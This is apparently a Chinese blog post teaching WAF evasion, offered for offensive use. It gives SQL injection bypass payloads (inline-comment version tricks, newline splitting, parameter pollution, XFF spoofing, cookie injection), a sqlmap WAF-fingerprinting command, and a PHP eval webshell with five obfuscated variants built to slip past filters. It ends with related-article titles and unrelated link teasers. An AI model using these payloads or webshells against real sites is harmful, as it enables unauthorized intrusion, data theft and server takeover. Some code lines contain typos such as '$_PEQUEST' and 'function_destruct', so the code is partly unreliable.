WAF:有硬件和软件类型。
常见的软WAF,常见:安全狗、云锁、云盾、护卫神。
SQL注入的绕过:
 WAF核心机制就是正则匹配。
通过正则匹配,如果符合规则,就拦截。
比如sql注入中and 1=1被拦截。
可尝试大小写绕过:And 1=1
编码绕过:  因为WAF 获取数据后不会解码。如&=>%26
通过不同进制绕过:例如16进制的0x32相当于十进制的2。
铭记:安全和用户体验都是需要平衡的,特别是针对WAF而言。
 
WAF判断的几种方法:
1.SQLmap
使用SQLmap中自带的WAF识别模块可以识别出WAF的种类,但是如果所安装的WAF没有明显特征,SQLmap就只能识别出类型是Generic
在SQLmap中输入一下命令:
sqlmap.py -u "http://xxx.com"  --identify-waf  --batch
一般情况下就可以被扫描出waf的种类。
2.手工判断
这个也比较简单,直接在相应网站的url上后面加上最基础的测试语句,比如union select 1,2,3%23,并且放在一个不存在的参数名中,若触发了WAF的防护,所以网站存在WAF.
 
内联注释:是MYSQL为了保持与其他数据兼容,将MYSQL中特有的语句放在/!…*/中,这些语句在不兼容的数据库中不执行,而在MYSQL自身却能识别、执行。
/*!50001*/表示数据库版本>=5.00.01中间的语句才能执行。
/**/在数据库里是注释的意思。而/*!*/是内联注释(核心在于注释里的也可执行,目的在于适应不同版本)。可对数据库版本的注释进行暴力破解,绕过狗。比如/*!10044select*/可绕过。
 
常见绕过手法:
大小写绕过(很老的WAF才有用)
替换绕过(很老的WAF才有用)比如将union select 1,2,3,4,5替换成ununionion selselectect 1,2,3,4,5
特殊字符绕过(%0a换行)例如传参?id=1 union /*!10044select*/ 1,2,3 %23/*%0afrom admin%23*/  换行之后被执行。
编码绕过(比如会多次解码的东西,例如我们DOM XSS绕狗那个)
等价替换(利用其它函数替代)【union #%0aselect 拦截】[inion all #%select 不拦截]
容器特性(例如Apace的Hpp,或者IIS的%分割)IIS的分割传参里面s%e%l%e%c%t相当于select。Apache特性参数污染:?id=1/*&id=2 union select 1,password,3 from admin limit 1,1#*/(参数污染是指当同一参数出现多次,不同的中间件会解析为不同的结果)
白名单(管理员权限或者是127.0.0.1本地访问不拦截(抓包修改XFF成本地IP))
缓冲区(数据太多了,超出了WAF检测的范围)可在攻击语句中用注释填入大量无用字符,但要用POST传参。
有些函数加上反引号也是可以运行的。比如sleep(),updatexml()
生僻函数绕过(使用生僻函数替代常见的函数,例如在报错注入中使用polygon()函数代替常用的updatexml()函数
寻找网站源站IP(对于具有云waf防护的网站而言,只要找到网站的IP地址,然后通过IP访问网站,就可以绕过云waf的检测)
注入参数到cookies中(默写程序员在代码中使用$_REQUEST获取函数,它会依次从GET/POST/COOKIE中获取参数,如果WAF只检测了GET/POST而木有检测cookie,可以将注入语句放入cookie中绕过)
 
webshell的绕过:
我们常见的PHP一句话木马就是:<?php eval($_REQUEST['a'])?>这个是密码是a的一句话木马。这个语句肯定是会被拦截的。
绕过拦截:1.<?php eval(end($_PEQUEST));?>
end(): 输出数组中的当前元素和最后一个元素的值.($_所获取到的东西都是数组)
2.通过常量定义:<?php define("a","$_REQUEST[a]");eval(a);?>
3.通过字符串定义:
<?php
$a='ass';
$b='ert';
$funcName=$a.$b;
$x='funcName';
$$x($_REQUEST[1]);
?>
4.通过函数定义强行分割:
<?php
function a($a){
return $a;}
eval(a($_REQUEST)[1]);
?>
5.通过类定义,然后传参强行执行分割
<?php
class User
{
public $name='  ';
function_destruct(){
eval("$this->name");
}
}
$user=new User;
$user->name=".$_POST['dd'];
?>

绕过waf的更多相关文章

  1. 深入理解SQL注入绕过WAF和过滤机制

    知己知彼,百战不殆 --孙子兵法 [目录] 0x0 前言 0x1 WAF的常见特征 0x2 绕过WAF的方法 0x3 SQLi Filter的实现及Evasion 0x4 延伸及测试向量示例 0x5 ...

  2. 深入了解SQL注入绕过waf和过滤机制

    知己知彼百战不殆 --孙子兵法 [目录] 0x00 前言 0x01 WAF的常见特征 0x02 绕过WAF的方法 0x03 SQLi Filter的实现及Evasion 0x04 延伸及测试向量示例 ...

  3. 深入理解SQL注入绕过WAF与过滤机制

    知己知彼,百战不殆 --孙子兵法 [目录] 0x0 前言 0x1 WAF的常见特征 0x2 绕过WAF的方法 0x3 SQLi Filter的实现及Evasion 0x4 延伸及测试向量示例 0x5 ...

  4. 黑客是怎样绕过WAF之三重防护绕过讲解

    什么是WAF Web Application Firewall 通过执行一系列针对HTTP/HTTPS的安全策略来防御对Web应用的攻击. 目前主要有单设备WAF与云WAF WAF的现状 1.太多数W ...

  5. 在SQL注入中利用MySQL隐形的类型转换绕过WAF检测

    web应用一般采用基于表单的身份验证方式(页面雏形如下图所示),处理逻辑就是将表单中提交的用户名和密码传递到后台数据库去查询,并根据查询结果判断是否通过身份验证.对于LAMP架构的web应用而言,处理 ...

  6. 使用sqlmap中tamper脚本绕过waf

    使用sqlmap中tamper脚本绕过waf 刘海哥 · 2015/02/02 11:26 0x00 背景 sqlmap中的tamper脚本来对目标进行更高效的攻击. 由于乌云知识库少了sqlmap- ...

  7. 通过HTTP参数污染绕过WAF拦截 (转)

    上个星期我被邀请组队去参加一个由CSAW组织的CTF夺旗比赛.因为老婆孩子的缘故,我只能挑一个与Web漏洞利用相关的题目,名字叫做”HorceForce”.这道题价值300点.这道题大概的背景是,你拥 ...

  8. sqlmap注入之tamper绕过WAF脚本列表

    本文作者:i春秋作者——玫瑰 QQ2230353371转载请保留文章出处 使用方法--tamper xxx.py apostrophemask.py用UTF-8全角字符替换单引号字符 apostrop ...

  9. SQL注入9种绕过WAF方法

    SQL注入9种绕过WAF方法 0x01前言 WAF区别于常规 防火墙 是因为WAF能够过滤特定Web应用程序的内容,而常规防火墙则充当服务器之间的防御门.通过检查HTTP的流量,它可以防御Web应用安 ...

  10. 用最短的payload绕过WAF(入门)

    本文作者:jishuzhain <font color=green>想绕过一个WAF,我们可以用最短的payload来做,这里只是基础示例,望各位大佬勿喷,小弟在此谢过.</font ...

随机推荐

  1. RTT学习之sensor设备

    Sensor设备的常用操作: 首先查找传感器设置获取设备句柄.rt_device_find 以轮询.FIFO.中断.任意一种方式打开传感器,中断和FIFO需要设置接收回调函数(释放一个信号量给接收线程 ...

  2. EntityFramework中使用sql语句

    https://blog.csdn.net/yangyangafan/article/details/77602133 EntityFramework操作数据库谜一般的方便还不用写数据库,但前提是很简 ...

  3. iOS开发常用Mac终端命令

    常用命令: 1.grep -lr "prefs:root=" * cd 当某一文件夹下,在当前文件目录下搜索对应的内容(橘色字符串替换为你想要搜索的内容).可以用来搜索工程中在第三 ...

  4. MySQL的多表查询学习笔记

    一.案例准备 create table dept( id int primary key auto_increment, name ) ); insert into dept values(null, ...

  5. Python爬虫老是被封的解决方法【面试必问】

    在爬取的过程中难免发生 ip 被封和 403 错误等等,这都是网站检测出你是爬虫而进行反爬措施,在这里为大家总结一下 Python 爬虫动态 ip 代理防止被封的方法. PS:另外很多人在学习Pyth ...

  6. 鸡汤 - Choice is yours

    传送门 https://kamranahmed.info/blog/2018/03/24/choice-is-yours/ Our whole lives are driven by the choi ...

  7. Linux - 常用GUI软件

    1. gdebi -- 可以代替Ubuntu software安装软件 2. System monitor -- 监控流量 3. uget -- 下载软件 4. Okular -- pdf reade ...

  8. 模仿.NET框架ArrayList写一个自己的动态数组类MyArrayList,揭示foreach实现原理

    通过.NET反编译工具可以查看到ArrayList内部的代码,发现ArrayList并非由链表实现,而是由一个不断扩容的数组对象组成. 下面模仿ArrayList写一个自己的MyArrayList. ...

  9. EXPOSE ocker run -P 时,会自动随机映射 EXPOSE 的端口

    EXPOSE 声明端口 格式为 EXPOSE <端口1> [<端口2>...]. EXPOSE 指令是声明运行时容器提供服务端口,这只是一个声明,在运行时并不会因为这个声明应用 ...

  10. PIP安装模块下载慢或者无法下载

    pip下载不动,模块安装失败 由于pip默认的下载源在国外,下载的人也多,难免有时会抽风,下载慢还能熬一熬,有时候就直接安装失败了. 安装gevent模块的的时候,进度条慢悠悠的到达100%,以为马上 ...